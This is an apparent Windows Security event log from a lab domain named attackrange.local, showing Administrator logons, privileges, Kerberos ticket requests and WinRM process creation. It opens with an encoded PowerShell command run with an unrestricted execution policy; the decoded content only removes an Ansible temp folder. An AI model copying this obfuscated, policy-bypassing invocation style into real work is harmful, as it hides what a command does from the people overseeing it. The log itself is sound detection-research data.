	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAzAEEARABJAEEATABnAEEANQBBAEQATQBBAE8AUQBBAHgAQQBEAFEAQQBPAEEAQQB0AEEARABJAEEATgBnAEEAeABBAEQAUQBBAE4AdwBBADIAQQBEAGsAQQBOAEEAQQA1AEEARABrAEEATQBBAEEAegBBAEQAVQBBAE0AQQBBADUAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251670
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13EAAD

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251669
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13EAAD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251668
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251667
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251666
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251665
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13EA91

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251664
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13EA91

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251663
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13EA91
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251662
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251661
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{408026A9-2A04-9536-548B-BCD77EE83040}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251660
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251659
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13E492

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251658
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13D166

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251778
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1324
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12c4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251777
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Process Information:
	New Process ID:		0x12c4
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251776
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251775
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251774
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251773
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{448C173D-22CD-41E8-3467-40E57CB1E8A2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251772
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251771
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x142375

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251770
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1402D0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251769
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x142500

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251768
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x142500
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64552

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251767
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
